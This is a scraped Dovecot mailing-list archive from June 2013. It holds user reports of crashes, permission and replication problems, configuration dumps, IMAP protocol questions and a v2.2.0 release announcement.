dovecot: lda(username(a)example.com): Debug: Quota root: name=User quota backend=maildir args= May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota rule: root=User quota mailbox=* bytes=1073741824 messages=0 May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota warning: bytes=805306368 (75%) messages=0 reverse=no command=/etc/dovecot/quota-warning.sh 75 ======================================================== Am I supposed to create the folders via an external script? Or is there any option to make this automatic. Regards, Joan

4 10

[Dovecot] dovecot segfaults after upgrade
by Thomas Blomenkamp 14 Jun '13

14 Jun '13

Using dovecot on debian oldstable (squeeze) with daily builded repository, after an upgrade this morning, dovecot always shows the following error: 2013 Jun 10 11:07:22 mailstore imap(tblomenk): Fatal: master: service(imap): child 3016 killed with signal 11 (core dumps disabled) Jun 10 11:07:22 mailstore kernel: [ 1589.400741] imap[3016]: segfault at 7fffd9048ff8 ip 00007f91417e2c3b sp 00007fffd9049000 error 6 in libdovecot.so.0.0.0[7f9141796000+bc000] Please notice: I can reproduce the error by trying to access my mailbox with alpine or mutt, while alpine only can access my inbox. If I try to access my other folders, the error happens. Mutt always closes the connection after trying to login. It is a little bit strange because with a newer client like roundcube I can access all my folders successfully. In all kernel error messages it seems that error 6 in libdovecot.so.0.0.0[7f9141796000+bc000] is always the same. Also notice that dovecot is still running, it is just that you cannot access other folders than your inbox with pine. mailstore:~# dovecot --version 2.2.2 (45399357008a) mailstore:~# dovecot -n # 2.2.2 (45399357008a): /etc/dovecot/dovecot.conf doveconf: Warning: service auth { client_limit=1000 } is lower than required under max. load (1324) doveconf: Warning: service anvil { client_limit=1000 } is lower than required under max. load (1227) # OS: Linux 2.6.32-5-amd64 x86_64 Debian 6.0.7 auth_debug = yes auth_gssapi_hostname = mailstore.math.uni-bielefeld.de auth_mechanisms = plain login auth_username_format = %n auth_verbose = yes lmtp_save_to_detail_mailbox = yes log_timestamp = "%Y-%m-%d %H:%M:%S " login_greeting = Hi, the IMAP Mail-System on mailstore.math.uni-bielefeld.de is ready. login_log_format_elements = user=<%u> method=%m rip=%r lip=%l %c mail_location = mdbox:~/mdbox mail_plugins = acl mail_privileged_group = mail managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave spamtest spamtestplus imapflags notify namespace { list = children location = mdbox:%%h/mdbox prefix = shared/%%u/ separator = / subscriptions = no type = shared } namespace inbox { inbox = yes location = mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Sent { auto = subscribe special_use = \Sent } mailbox Spam { auto = subscribe special_use = \Junk } mailbox Trash { auto = subscribe special_use = \Trash } prefix = separator = / type = private } passdb { args = /etc/dovecot/dovecot-ldap.conf driver = ldap } plugin { acl = vfile acl_shared_dict = file:/var/lib/dovecot/shared-mailboxes.db mail_log_events = delete undelete expunge copy mailbox_delete mailbox_rename mail_log_fields = uid box msgid size mail_log_group_events = no quota = maildir:User quota quota_rule = *:storage=0 sieve = ~/.dovecot.sieve sieve_dir = ~/sieve sieve_extensions = +imapflags +notify +spamtest +spamtestplus sieve_spamtest_max_value = 100 sieve_spamtest_status_header = X-PMX-Spam: \.*Probability=([[:digit:]]+)%+\.* sieve_spamtest_status_type = score } protocols = imap lmtp sieve service auth { unix_listener auth-master { mode = 0600 user = vmail } unix_listener auth-userdb { user = vmail } user = root } service imap-login { inet_listener imap { port = 143 } inet_listener imaps { port = 0 } process_limit = 1024 process_min_avail = 10 service_count = 1 } service imap { process_limit = 1024 } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0660 user = postfix } } service managesieve-login { inet_listener sieve { port = 4190 } service_count = 1 vsz_limit = 64 M } ssl_cert = </etc/dovecot/mailstore_cert_chain.pem ssl_key = </etc/ssl/private/mcl_key.pem userdb { args = uid=vmail gid=vmail home=/var/vmail_san2/dovecot/%1Lu/%Lu driver = static } protocol imap { mail_plugins = acl imap_acl } protocol lmtp { mail_plugins = acl sieve } protocol sieve { mail_max_userip_connections = 50 managesieve_implementation_string = Dovecot Pigeonhole managesieve_logout_format = bytes=%i/%o managesieve_max_compile_errors = 5 managesieve_max_line_length = 65536 } Regards, Thomas

2 3

[Dovecot] IMAPC feature description
by Yonatan Broza 13 Jun '13

13 Jun '13

Hi, I couldn't find any decent documentation about the IMAPC feature. Could someone please explain the purpose of this feature? In particular, what are the differences between IMAPC and reverse proxying? Thanks.

2 1

[Dovecot] crash/mem violation in auth_worker + 50G logs in 2.1.7
by Mrten 13 Jun '13

13 Jun '13

Hi, This morning I discovered what seemed to be a deliberate crash in auth_worker: Jun 7 23:02:09 localhost dovecot: auth-worker: Error: #007Can't read dir of '/etc/mysql/conf.d/' (Errcode: 2) Jun 7 23:02:09 localhost dovecot: auth-worker: Error: Fatal error in defaults handling. Program aborted Jun 7 23:02:09 localhost dovecot: auth-worker: Error: *** glibc detected *** dovecot/auth worker: waiting for connection: free(): invalid pointer: 0x00007fffa0863160 *** Jun 7 23:02:09 localhost dovecot: auth-worker: Error: ======= Backtrace: ========= Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /lib/x86_64-linux-gnu/libc.so.6(+0x7eb96)[0x7f22d42f9b96] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /usr/lib/libmysqlclient.so.18(free_root+0x90)[0x7f22d37988c0] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /usr/lib/libmysqlclient.so.18(free_defaults+0x4b)[0x7f22d3796e6b] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /usr/lib/libmysqlclient.so.18(mysql_read_default_options+0x13c)[0x7f22d377d00c] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /usr/lib/libmysqlclient.so.18(mysql_real_connect+0x8e)[0x7f22d377eb4e] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /usr/lib/dovecot/modules/auth/libdriver_mysql.so(+0x1fc6)[0x7f22d3c52fc6] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(+0x2be1d)[0x7f22d515be1d] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(db_sql_connect+0xd)[0x7f22d514aedd] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(+0x23d70)[0x7f22d5153d70] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(passdb_init+0x2a)[0x7f22d515158a] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(auths_init+0x59)[0x7f22d513dfe9] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(main+0x345)[0x7f22d513d5f5] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xed)[0x7f22d429c76d] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(+0xd7d9)[0x7f22d513d7d9] There follows a memory map but I snipped that. This repeated until I killed dovecot (12 hours later), by then 54GB of logs had accumulated. Besides leaving me impressed with the logserver :), I was wondering if this is a known problem. I don't know what triggered this at 23:02 (shown above is the first set of problem logentries). Can't really have been an upgrade, since I backported the raring dovecot Ubuntu package for my precise server, no automated upgrades there. I did go look for the /etc/mysql/conf.d directory mentioned, it wasn't there, but there was a /etc/mysql/my.cnf trying to !includedir it. Since there is no mysql on the server besides libmysqlclient I removed the directory and haven't seen the problem return yet. Sounds like the reason for happening, however, the memory error after that probably warrants research? If it is in libmysqlclient, that's another non-default snag because that's the lib I get from Percona, not the Ubuntu default one. Shouldn't dovecot recognize that the auth worker is crashing? One more thing, this is (one line from many) from audit.log (I have auditd logging audit records) type=ANOM_ABEND msg=audit(1370682566.377:3499876): auid=4294967295 uid=108 gid=115 ses=4294967295 pid=23187 comm="auth" reason="memory violation" sig=6 108 is the dovecot user, so it probably is related. I realise I'm way off defaults here but I wanted to report anyway. (dovecot -n attached) thanks for any insight, Maarten.

2 2

[Dovecot] CATENATE/literal8 issue
by Michael M Slusarz 13 Jun '13

13 Jun '13

Using 2.2.2, I see this: C: 6 APPEND "INBOX" (\seen) "16-May-2013 22:05:14 -0600" CATENATE (URL "/INBOX;UIDVALIDITY=1255685337/;UID=48812/;SECTION=HEADER" TEXT ~{40} S: 6 NO [UNKNOWN-CTE] Binary input allowed only when the first part is binary. Why is there this limitation? It seems to me that CATENATE is confusing the content-type encoding of the data/part itself with the encoding of the IMAP literal. A literal 8 is nothing more than a series of OCTET's that *may* contain nulls, but not necessarily. i.e., in the above example the 40 octets of data are US-ASCII text, which is perfectly acceptable to send as a literal8. (Client rationale: If BINARY exists on the server, we don't bother to scan IMAP literal's for null data -- we just send them as literal8's. It's an optimization that I would hate to get rid of.) michael

2 8

[Dovecot] Replication and LAYOUT=fs
by Simon Fraser 13 Jun '13

13 Jun '13

Hello folks, I have a problem with replication and mail_location with LAYOUT=fs set. If I set "mail_location = maildir:~/mail" (leaving out the :LAYOUT=fs), create and populate some mailboxes and subfolders, they all get replicated. If I start with a clean mail spool and LAYOUT=fs, I can create some new mailboxes and subfolders but only the inbox is replicated. Subfolders are ignored. The users are all in LDAP, and virtual, hence the generic mail_home format and mail_location being set. The userdb lookup has been told to return no attributes ("user_attrs = "), but I have also tried it with requesting 'home' and specifying a default of /mail/spool/%u in the userdb config. The service is perfectly functional as far as a mail client is concerned: it can access all the folders and messages it expects on the server that had them added. It's only the replication using LAYOUT=fs that seems to be troublesome. Here is `doveconf -n` for the first of the pair of servers (dcot1a and dcot1b). The configuration on the other is identical except for the hostname differences. Simon # 2.2.2: /mail/etc/dovecot/dovecot.conf # OS: Linux 3.2.0-27-virtual x86_64 Ubuntu 12.04.2 LTS disable_plaintext_auth = no doveadm_password = secret first_valid_uid = 100 mail_gid = dovecot mail_home = /mail/spool/%u mail_location = maildir:~/mail:LAYOUT=fs mail_plugins = notify replication mail_uid = dovecot namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = separator = / } passdb { args = /mail/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } plugin { mail_replica = tcp:dcot1b:12345 } protocols = imap lmtp service aggregator { fifo_listener replication-notify-fifo { mode = 0600 user = dovecot } unix_listener replication-notify { mode = 0600 user = dovecot } } service config { unix_listener config { user = dovecot } } service doveadm { inet_listener { port = 12345 } user = dovecot } service replicator { process_min_avail = 1 } shutdown_clients = no ssl_cert = </etc/ssl/certs/dcot1a-cert.pem ssl_key = </etc/ssl/private/dcot1a-key.pem userdb { args = /mail/etc/dovecot/dovecot-ldap.userdb.conf.ext driver = ldap } -- The Wellcome Trust Sanger Institute is operated by Genome Research Limited, a charity registered in England with number 1021457 and a company registered in England with number 2742969, whose registered office is 215 Euston Road, London, NW1 2BE.

2 2

Re: [Dovecot] Dovecot 2 + IMAP
by Alex Dubinin 13 Jun '13

13 Jun '13

12.06.2013 22:34, Michael Kliewe пишет: > Hello Alex, > you asked exactly the same question 5 days ago and already got the > answer (from 2 people). Why did you ask again, didn't you receive the > answers? Thank you for your answer. Yes, i didn't receive answer ((((

1 0

[Dovecot] post-login script and original remote ip in proxy mode
by Ibrahim Harrani 13 Jun '13

13 Jun '13

Hi, I am running dovecot on 3 qmail-ldap server backend. dovecot configured to use auth_pop3 wrapper for authentication. Users logins to the qmail-ldap pop3&imap pools randomly. If a user is mailhost is not the connected server, dovecot proxies the connection to the user mailhost. In this case, I can not get the original client IP address via post-logins script on user host. I see only the first connected server IP as $IP environment. Any idea to get original client IP in this setup with postlogin scripts? Thanks

2 1

[Dovecot] Question about directory hash function.
by Evgeny Basov 13 Jun '13

13 Jun '13

Hello, Timo. I have a question about %H in http://wiki2.dovecot.org/Variables : what the hash function uses for calculations and how to get this value manually? This is need for bypass way getting home directory. With best regards, Evgeny Basov.

2 1

[Dovecot] Permissions for mail_temp_dir directory
by Henrik Larsson 13 Jun '13

13 Jun '13

I recently upgraded from 2.1.16 to 2.2.2 and started to receive the following errors: imap(henrik(a)example.com): Error: stat(/var/db/dovecot/dovecot.imap.mail.example.com.16128.3209d13f842955c2) failed: Permission denied imap(henrik(a)example.com): Error: Temp file creation to /var/db/dovecot/dovecot.imap.mail.example.com.16128. failed: Permission denied imap(henrik(a)example.com): Error: stat(/var/db/dovecot/dovecot.imap.mail.example.com.16501.0ddff1dc93cdbe6a) failed: Permission denied imap(henrik(a)example.com): Error: Temp file creation to /var/db/dovecot/dovecot.imap.mail.example.com.16501. failed: Permission denied I didn't have these before the upgrade. The current permissions for the /var/db/dovecot directory is root:wheel 755. What would be the correct permissions for the mail_temp_dir directory? doveconf -n output --cut-- # 2.2.2: /usr/local/etc/dovecot/dovecot.conf # OS: FreeBSD 8.3-RELEASE-p3 amd64 auth_mechanisms = plain login digest-md5 cram-md5 first_valid_uid = 125 hostname = mail.example.com listen = * log_path = /var/log/dovecot mail_plugins = zlib mail_privileged_group = postfix mail_temp_dir = /var/db/dovecot managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace { inbox = yes location = prefix = separator = . type = private } namespace { hidden = yes inbox = no list = no location = prefix = INBOX. separator = . type = private } passdb { args = /usr/local/etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { fts = squat fts_squat = partial=4 full=10 sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } postmaster_address = postmaster(a)example.com protocols = imap pop3 lmtp sieve service auth-worker { user = $default_internal_user } service auth { unix_listener /home/mail/postfix/private/dovecot-auth { group = postfix mode = 0660 user = postfix } } service lmtp { executable = lmtp -L unix_listener /home/mail/postfix/private/dovecot-lmtp { group = postfix mode = 0660 user = postfix } } ssl_cert = </etc/ssl/mail.example.com-chained.crt ssl_key = </etc/ssl/mail.example.com.key userdb { args = /usr/local/etc/dovecot/dovecot-sql.conf.ext driver = sql } protocol lmtp { log_path = /var/log/dovecot-deliver mail_plugins = zlib sieve } protocol lda { mail_plugins = zlib sieve } protocol imap { mail_plugins = zlib imap_zlib } --cut-- Best regards Henrik Larsson

2 1

[Dovecot] THREAD REFERENCES bug
by A.L.E.C 13 Jun '13

13 Jun '13

I found it on an ancient dovecot version, so it might be already fixed. Let's say I have a folder with 3 messages UID Subject Date 12 One 2013-06-09 11 Testmail 2013-06-10 14 Subject 2013-06-11 C: A0003 UID THREAD REFERENCES US-ASCII ALL S: * THREAD (12)(11)(14) Now I received a message with today's date (2013-06-12) with subject "Testmail" (the same as message with uid=11. The new message has uid=16. C: A0003 UID THREAD REFERENCES US-ASCII ALL S: * THREAD (12)((11)(16))(14) I expected 16 (or more likely 11 and 16) to be at the end of the result, after 14, i.e. (12)(14)((11)(16)). The problem for a user is when he has more messages in a folder. When user receives a new message sometimes (on subject duplicate) he will not see it because it will be somewhere in the middle of the result, but should be on top. -- Aleksander 'A.L.E.C' Machniak LAN Management System Developer [http://lms.org.pl] Roundcube Webmail Developer [http://roundcube.net] --------------------------------------------------- PGP: 19359DC1 @@ GG: 2275252 @@ WWW: http://alec.pl

2 2

[Dovecot] Dovecot 2 + IMAP
by Alex Dubinin 12 Jun '13

12 Jun '13

This is my first experience of the mail server. Set up a mail server from Postfix + Dovecot with the MySQL authorization. When you create a new user dovecot makes strange folder structure: the 'inbox' contains 'juncus', 'tash', 'sent' etc. ie 'sent' and other folders are subdir to the 'inbox'. How to make the imap folders 'sent', 'trash' and others were not affiliated? I have IMAP answer: . list "" "*" * LIST (\HasChildren) "." "INBOX" . OK List completed. No trash, no drafts, no other folder. All this folder included in INBOX (((( But I want (my clients wants): * LIST (\HasNoChildren) "." "Drafts" * LIST (\HasNoChildren) "." "INBOX" * LIST (\HasNoChildren) "." "Trash" * LIST (\HasNoChildren) "." "Sent" * LIST (\HasNoChildren) "." "spam" P.S. Sorry for my english. P.P.S. # dovecot --version 2.1.7 # dovecot -n # 2.1.7: /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.0 ext4 auth_debug = yes auth_debug_passwords = yes auth_verbose = yes auth_verbose_passwords = plain base_dir = /run/dovecot/ debug_log_path = /var/vmail/dovecot.log disable_plaintext_auth = no info_log_path = /var/vmail/dovecot.log lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes listen = 213.7.204.34 log_path = /var/vmail/dovecot.log log_timestamp = "%Y-%m-%d %H:%M:%S " login_greeting = MAIL_DOMAIN_NAME IMAP server ready. mail_debug = yes mail_location = maildir:/var/vmail/%d/%n/Maildir mail_plugins = " quota" namespace inbox { hidden = no inbox = yes list = yes location = mailbox Drafts { special_use = \Drafts } mailbox Trash { special_use = \Trash } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } prefix = INBOX. separator = . type = private } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { quota = maildir:User quota quota_rule = *:storage=1G quota_rule2 = Trash:storage=+10%% quota_rule3 = Junk:storage=+10%% quota_rule4 = Drafts:storage=+10%% quota_warning = storage=95%% quota-warning 95 %u } postmaster_address = admin@ MAIL_DOMAIN_NAME protocols = " imap pop3" service auth-worker { executable = auth -w unix_listener auth-worker { group = mode = 0600 } } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } unix_listener auth-master { group = vmail mode = 0600 user = vmail } unix_listener auth-userdb { group = mode = 0600 user = } user = root } service dict { unix_listener dict { group = mode = 0600 user = } } service imap-login { inet_listener imap { port = 0 } inet_listener imaps { port = 993 ssl = yes } process_min_avail = 0 service_count = 1 } service imap { unix_listener login/imap { group = mode = 0666 user = } } service lmtp { unix_listener lmtp { group = mode = 0666 user = } } service pop3-login { inet_listener pop3 { port = 0 } inet_listener pop3s { port = 0 ssl = yes } } service pop3 { unix_listener login/pop3 { group = mode = 0666 user = } } ssl = required ssl_ca = </etc/dovecot/MAIL_SERVER_NAME-ca.crt ssl_cert = </etc/dovecot/MAIL_SERVER_NAME .crt ssl_key = </etc/dovecot/private/MAIL_SERVER_NAME .key userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } verbose_ssl = yes protocol lda { auth_socket_path = /var/run/dovecot/auth-master log_path = /var/vmail/dovecot-deliver.log postmaster_address = admin@ MAIL_DOMAIN_NAME } protocol imap { mail_plugins = " quota autocreate imap_quota" }

2 1

[Dovecot] Permission denied / missing +r perm
by Andrew Crawford 12 Jun '13

12 Jun '13

I have postfix configured to deliver mail to dovecot over lmtp into a mailbox that then is accessed over imap. The imap server is running as the user "mail". Whenever I run "postfix flush" I get in mail.log: > Jun 12 05:37:45 li212-205 dovecot: lmtp(21288): Connect from local > Jun 12 05:37:45 li212-205 spamd[18173]: prefork: child states: II > Jun 12 05:37:45 li212-205 dovecot: auth-worker(21289): mysql(127.0.0.1): Connected to database mailserver > Jun 12 05:37:45 li212-205 dovecot: lmtp(21288, drew@REDACTED): zXAqF2lBuFEoUwAA5SnFYQ: msgid=<064C5BC7-357B-4366-9A80-5001DBA21F62@REDACTED>: saved mail to INBOX > Jun 12 05:37:45 li212-205 postfix/lmtp[21287]: 57BDA1CC932: to=<drew@REDACTED>, relay=li212-205.members.linode.com[private/dovecot-lmtp], delay=0.06, delays=0.01/0.01/0.01/0.03, dsn=2.0.0, status=sent (250 2.0.0 <drew@REDACTED> zXAqF2lBuFEoUwAA5SnFYQ Saved) > Jun 12 05:37:45 li212-205 dovecot: lmtp(21288): Disconnect from local: Client quit (in reset) > Jun 12 05:37:45 li212-205 postfix/qmgr[21244]: 57BDA1CC932: removed > Jun 12 05:37:45 li212-205 dovecot: imap(drew@REDACTED): Error: open(/decrypted-mail/awesomebox.sealedabstract.com/drew/cur/1371029865.M411… failed: Permission denied (euid=8(mail) egid=8(mail) missing +r perm: /decrypted-mail/awesomebox.sealedabstract.com/drew/cur/1371029865.M411903P21288.li212-205,S=2626,W=2673:2,, we're not in group 0(root)) > Jun 12 05:37:45 li212-205 dovecot: imap(drew@REDACTED): Disconnected: Internal error occurred. Refer to server log for more information. [2013-06-12 05:37:45] in=349 out=1084 Indeed, the file in question is owned by root and would not be accessible to the mail user: > ls -la /decrypted-mail/awesomebox.sealedabstract.com/drew/cur/ > total 24 > drwxrw---- 2 mail mail 4096 Jun 12 05:37 . > drwxrw---- 7 mail mail 4096 Jun 12 05:37 .. > -rw-rw---- 1 mail mail 2616 Jun 12 05:26 1371029196.M462737P20302.li212-205,S=2616,W=2662:2, > -rw-rw---- 1 mail mail 2635 Jun 12 05:32 1371029564.M454251P20747.li212-205,S=2635,W=2682:2, > -rw-rw---- 1 root root 2626 Jun 12 05:37 1371029865.M411903P21288.li212-205,S=2626,W=2673:2, So dutifully, I chown / chgrp to the mail user. But as soon as i receive a new mail, dovecot again creates files owned by root:root. How do I convince it to create files as mail:mail ? Diagnostic info: > $ dovecot --version > 2.1.7 > $ ps -aux | grep dovecot > root 20810 0.0 0.0 2892 984 ? Ss 05:34 0:00 /usr/sbin/dovecot -c /etc/dovecot/dovecot.conf > dovecot 20813 0.0 0.0 2620 940 ? S 05:34 0:00 dovecot/anvil > root 20814 0.0 0.1 2752 1072 ? S 05:34 0:00 dovecot/log > root 20818 0.0 0.2 4348 2524 ? S 05:34 0:00 dovecot/config > dovenull 21046 0.0 0.2 5248 2500 ? S 05:35 0:00 dovecot/imap-login > mail 21047 0.0 0.2 6392 2088 ? S 05:35 0:00 dovecot/imap > dovenull 21056 0.0 0.2 5248 2500 ? S 05:35 0:00 dovecot/imap-login > mail 21057 0.0 0.2 6752 2576 ? S 05:35 0:00 dovecot/imap > dovenull 21292 0.0 0.2 5248 2500 ? S 05:37 0:00 dovecot/imap-login > root 21293 0.0 0.1 4508 1044 ? S 05:37 0:00 dovecot/ssl-params > mail 21294 0.0 0.2 6540 2624 ? S 05:37 0:00 dovecot/imap > root 21400 0.0 0.0 4104 788 pts/0 S+ 05:51 0:00 grep dovecot > $ doveconf -n > # 2.1.7: /etc/dovecot/dovecot.conf > # OS: Linux 3.8.4-linode50 i686 Debian 7.0 fuse.encfs > auth_mechanisms = plain login > first_valid_uid = 0 > mail_location = maildir:/decrypted-mail/%d/%n > mail_privileged_group = mail > namespace inbox { > inbox = yes > location = > mailbox Drafts { > special_use = \Drafts > } > mailbox Junk { > special_use = \Junk > } > mailbox Sent { > special_use = \Sent > } > mailbox "Sent Messages" { > special_use = \Sent > } > mailbox Trash { > special_use = \Trash > } > prefix = > } > passdb { > args = /etc/dovecot/dovecot-sql.conf.ext > driver = sql > } > protocols = " imap lmtp" > service auth-worker { > user = mail > } > service auth { > unix_listener /var/spool/postfix/private/auth { > group = postfix > mode = 0600 > user = postfix > } > unix_listener auth-userdb { > mode = 0600 > user = mail > } > user = dovecot > } > service imap-login { > inet_listener imap { > port = 0 > } > } > service lmtp { > unix_listener /var/spool/postfix/private/dovecot-lmtp { > group = postfix > mode = 0666 > user = postfix > } > user = mail > } > service pop3-login { > inet_listener pop3 { > port = 0 > } > } > ssl = required > ssl_cert = </etc/ssl/certs/dovecot.pem > ssl_key = </etc/ssl/private/dovecot.pem > userdb { > args = uid=mail gid=mail home=/decrypted-mail/%d/%n > driver = static > } >

1 1

[Dovecot] v2.2.0 released
by Timo Sirainen 12 Jun '13

12 Jun '13

http://dovecot.org/releases/2.2/dovecot-2.2.0.tar.gz http://dovecot.org/releases/2.2/dovecot-2.2.0.tar.gz.sig Everything now seems to be stable and working in v2.2, so I can finally move onto developing great new interesting features for v2.3. :) My company has also launched a web shop where you can buy various products. One of them is cheap access to Dovecot enterprise edition repositories, which are basically same as regular Dovecot releases, except they are kept patched with the latest important bugfixes. We currently have releases for RHEL/CentOS 5 and 6, Debian Squeeze and Ubuntu 12.04 LTS. By buying Dovecot-EE you'll also get a 30 day demo license for object storages, if you want to try it out. http://shop.dovecot.fi/ * When creating home directories, the permissions are copied from the parent directory if it has setgid-bit set. For full details, see http://wiki2.dovecot.org/SharedMailboxes/Permissions * "doveadm auth" command was renamed to "doveadm auth test" * IMAP: ID command now advertises server name as Dovecot by default. It was already trivial to guess this from command replies. * dovecot.index.cache files can be safely accessed only by v2.1.11+. Older versions may think they're corrupted and delete them. * LDA/LMTP: If saving a mail brings user from under quota to over quota, allow it based on quota_grace setting (default: 10% above quota limit). * pop3_lock_session=yes now uses a POP3-only dovecot-pop3-session.lock file instead of actually locking the mailbox (and causing IMAP/LDA/LMTP to wait for the POP3 session to close). * mail_shared_explicit_inbox setting's default switched to "no". * ssl_client_ca_dir setting replaced imapc_ssl_ca_dir and pop3c_ssl_ca_dir settings. + Implemented IMAP MOVE and BINARY extensions + Implemented IMAP CATENATE, URLAUTH and URLAUTH=BINARY extensions (by Stephan Bosch). + Implemented IMAP NOTIFY extension. Requires mailbox_list_index=yes to be enabled. + Redesigned and rewritten dsync. The new design makes the syncing faster, more reliable and more featureful. The new dsync protocol isn't backwards compatible with old dsync versions (but is designed to be forwards compatible with future versions). + All mailbox formats now support per-user message flags for shared mailboxes by using a private index. It can be enabled by adding :INDEXPVT=<path> to mail location. This should be used instead of :INDEX also for Maildir/mbox to improve performance. + Improved mailbox list indexes. They should be usable now, although still disabled by default. + Added LAYOUT=index. The mailbox directories are created using their GUIDs in the filesystem, while the actual GUID <-> name mapping exists only in the index. + LMTP proxy: Implemented XCLIENT extension for passing remote IP address through proxy.

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[Dovecot] Zlib plugin: changing compression save level
by Urban Loesch 11 Jun '13

11 Jun '13

Hi, I have running dovecot 2.1.15 with zlib plugin enabled and "zlib_save_level = 6" since about 2 years now without any problems. What happens if I now change the zlib_save_level to 9? Should that work without any problems, or become the current saved "*.m" files incompatible or unreadable? Thanks Urban

1 0

[Dovecot] Wait for interface to become available instead of dying?
by Sebastian Arcus 11 Jun '13

11 Jun '13

At the moment, if one of the interfaces specified with "listen=" in dovecot.conf is not up when Dovecot is started, then Dovecot just refuses to start. Is there an option to make Dovecot start anyway, and just use the interface when it becomes available? It is inconvenient to have Dovecot refuse to start during boot because some interface is temporarily not available. Then again, maybe there is some strong security reasoning behind the way Dovecot behaves at the moment?

4 8

[Dovecot] IMAP
by Jason Lock 10 Jun '13

10 Jun '13

We are using version 1.2.17 and recently are experiencing major issues with performance, which we believe have isolated to IMAP sessions. We have 3 servers running Dovecot, with a central store shared via NFS. Things have been running quite well for months now, with the latest issues appearing within the last week. As an experiment have 2 of the server running and only accepting POP3 connecitons no IMAP, and the 3rd server only accepting IMAP connections and no POP3. When the issue occurred today, stopping dovecot on the IMAP only server allowed POP3 to resume to normal operations 5-10 minutes later. Leaving IMAP disabled for a period of time (about 30 mins) and then re-enabling seemed to worked the first time. Subsequent times, the issue appeared shortly after re-enabling IMAP. Our webmail solution connects via IMAP, so when disabled this also impact clients using the webmail. Running only POP3 while IMAP is disabled we do not appear to have any issues. At this point, looking for any advice. We believe the number of devices utilizing IMAP has increased significantly for us, and whether or not a specific device is the cause we have not been able to determine. Anyone else experiencing a similar problem that appears related to IMAP?

2 1

[Dovecot] per user quota in mysql
by John Doe 10 Jun '13

10 Jun '13

Hello everybody, I have set up dovecot to use ldap authentication and it works great. I wonder if it is possible to use mysql for user quota and still keep my ldap authentication. Thank you!

2 2

[Dovecot] Man page: LGPL Version
by Oli Schacher 09 Jun '13

09 Jun '13

Hi Timo http://hg.dovecot.org/dovecot-2.2/rev/1f3f21081ee5 : man pages: Updated v2.1 -> v2.2 dovecot.1.in now references a inexistent "LGPLv2.2" instead of "LGPLv2.1"

2 1

[Dovecot] v2.2.2 (266101990d63) Core Dump
by Thomas Leuxner 09 Jun '13

09 Jun '13

==> /var/log/dovecot/dovecot.log <== Jun 9 09:58:26 spectre dovecot: lmtp: Fatal: master: service(lmtp): child 12635 killed with signal 11 (core dumped) This is another segmentation fault introduced in the current code. Please also look into fixing the other Core Dump I reported: http://www.dovecot.org/list/dovecot/2013-June/090795.html (gdb) bt full #0 0x00007f305d3df646 in buffer_append (buf=0x0, data=0x7fff92c0d218, data_size=0) at buffer.c:184 No locals. #1 0x00007f305d6bee16 in array_append_i (data=0x7fff92c0d218, array=0x1267448, count=<optimized out>) at ../../src/lib/array.h:148 count = 1 #2 mail_namespace_add_storage (ns=ns@entry=0x12673f0, storage=0x7fff92c0d218, storage@entry=0x126cb50) at mail-namespace.c:39 No locals. #3 0x00007f305d6c488d in mail_storage_create_full (ns=ns@entry=0x12673f0, driver=<optimized out>, driver@entry=0x7f305d7263a4 "raw", data=<optimized out>, flags=flags@entry=0, storage_r=storage_r@entry=0x7fff92c0d318, error_r=error_r@entry=0x7fff92c0d338) at mail-storage.c:397 storage_class = 0x7f305d95a560 storage = 0x126cb50 list = 0x1271800 list_set = {layout = 0x125b050 "none", root_dir = 0x125b048 "", index_dir = 0x0, index_pvt_dir = 0x0, control_dir = 0x0, alt_dir = 0x0, inbox_path = 0x0, subscription_fname = 0x7f305d72310d "subscriptions", maildir_name = 0x7f305d71e70b "", mailbox_dir_name = 0x7f305d71e70b "", escape_char = 0 '\000', broken_char = 0 '\000', utf8 = false, alt_dir_nocheck = false} list_flags = <optimized out> p = <optimized out> __FUNCTION__ = "mail_storage_create_full" #4 0x00007f305d6c4b7e in mail_storage_create (ns=ns@entry=0x12673f0, driver=driver@entry=0x7f305d7263a4 "raw", flags=flags@entry=0, error_r=error_r@entry=0x7fff92c0d338) at mail-storage.c:407 storage = 0x7f305dd87a38 #5 0x00007f305d6bd605 in raw_storage_create_from_set (set_info=<optimized out>, set=<optimized out>) at raw-storage.c:48 user = 0x126d7f0 ns = 0x12673f0 